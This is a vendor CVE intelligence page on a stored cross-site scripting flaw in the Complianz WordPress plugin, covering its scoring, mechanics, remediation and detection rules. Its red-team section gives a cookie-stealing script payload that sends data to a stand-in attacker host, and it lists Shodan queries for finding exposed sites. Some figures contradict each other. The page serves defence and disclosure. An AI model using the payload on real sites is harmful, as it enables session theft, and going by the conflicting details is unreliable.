☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Complianz logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6498

CVE-2023-6498 Cross-Site Scripting in Complianz
📅 PUBLISHED: 2024-01-04 03:30 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Netherlands License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6498 is a Stored Cross-Site Scripting (XSS) vulnerability in the Complianz – GDPR/CCPA Cookie Consent WordPress plugin, affecting all versions up to and including 6.5.5. The flaw arises from insufficient input sanitization and output escaping in admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the risk is elevated in shared hosting or multi-tenant WordPress setups due to the potential for privilege escalation and lateral movement.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. No malicious package versions have been identified in PyPI, NPM, Go, or Ruby ecosystems. The plugin is not a direct dependency of any major package manager, but its presence in WordPress environments introduces supply chain risk through compromised admin accounts.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 4.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Administrator)
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. Exploitation requires admin-level access, but in multi-site environments, a compromised admin can pivot to other sites. The stored XSS can be used to steal session cookies, deface pages, or deliver malware.

Deep Dive & Mechanics

The vulnerability exists in the plugin's admin settings interface, specifically in fields that handle cookie consent configuration. The plugin fails to sanitize user-supplied input and escape output when rendering these settings. An attacker with administrator privileges can inject malicious JavaScript into fields such as custom CSS, custom scripts, or consent banner text. When other administrators or users view the settings page or the frontend banner, the injected script executes in their browser context.

Key Conditions:

  • Only exploitable on WordPress multi-site installations or where unfiltered_html is disabled for administrators.
  • The injected script is stored in the database and executed on subsequent page loads.
  • The attack does not require user interaction beyond viewing the affected page.

Attack Flow:

  1. Attacker gains admin access (via credential theft, social engineering, or other means).
  2. Attacker navigates to Complianz settings and injects a payload like <script>alert('XSS')</script> into a vulnerable field.
  3. The payload is stored in the database without proper sanitization.
  4. When another admin or user loads the settings page or frontend, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.5.5): The plugin uses esc_html() or similar functions inconsistently, or fails to call them at all on certain admin fields. Example vulnerable pattern:

echo $option_value; // No escaping

Patched Code (Hypothetical): A proper patch would apply esc_html() or wp_kses_post() to all admin settings output:

echo esc_html( $option_value );

Note: No official patch has been released by the vendor as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress multi-site installation with Complianz <= 6.5.5.
  • Admin credentials for a site in the network.

Exploitation Steps:

  1. Log in as an administrator.
  2. Navigate to Settings > Complianz.
  3. Locate a vulnerable field (e.g., "Custom CSS" or "Banner text").
  4. Inject payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save settings.
  6. Wait for another admin to view the settings page or for a user to load the frontend.

Lab Setup:

  • Use Docker to spin up a WordPress multi-site instance:
    docker run -d --name wp-multisite -e WORDPRESS_MULTISITE=true wordpress
    
  • Install Complianz plugin version 6.5.5.
  • Create a second admin user for testing.

Blue Team

Detection:

  • Monitor for unusual admin activity, especially changes to Complianz settings.
  • Look for script tags in database fields related to Complianz options.
  • Use WAF rules to block common XSS payloads in admin POST requests.

Hunting:

  • Query the wp_options table for suspicious entries:
    SELECT * FROM wp_options WHERE option_name LIKE '%complianz%' AND option_value LIKE '%<script%';
    

Indicators of Compromise (IOCs)

  • File Hashes: No known malicious files; the vulnerability is in the plugin's code.
  • Network Indicators: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
  • Log Entries: Unusual changes to wp_options table entries containing complianz prefix.
  • Database Artifacts: Stored XSS payloads in wp_options or wp_postmeta tables.

Detection Engineering

YARA Rule

rule CVE_2023_6498_Complianz_XSS {
    meta:
        description = "Detects stored XSS payloads in Complianz plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6498"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $complianz_option = /complianz/i
    condition:
        $complianz_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Complianz Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Complianz plugin admin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        ObjectName|contains: 'complianz'
        ObjectValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6498 Complianz Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=complianz_save_settings"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin on multi-site installations until a patch is available.
  2. Restrict admin access to only trusted users.
  3. Enable unfiltered_html capability for administrators (if safe to do so) to reduce attack surface.

Long-term Fix:

  • Apply input sanitization and output escaping to all admin settings fields.
  • Use wp_kses_post() for rich text fields and esc_html() for plain text.
  • Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

  • Use a Web Application Firewall (WAF) to block XSS payloads in admin POST requests.
  • Monitor for unauthorized changes to Complianz settings.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Complianz"
http.html:"complianz-gdpr"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6498/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.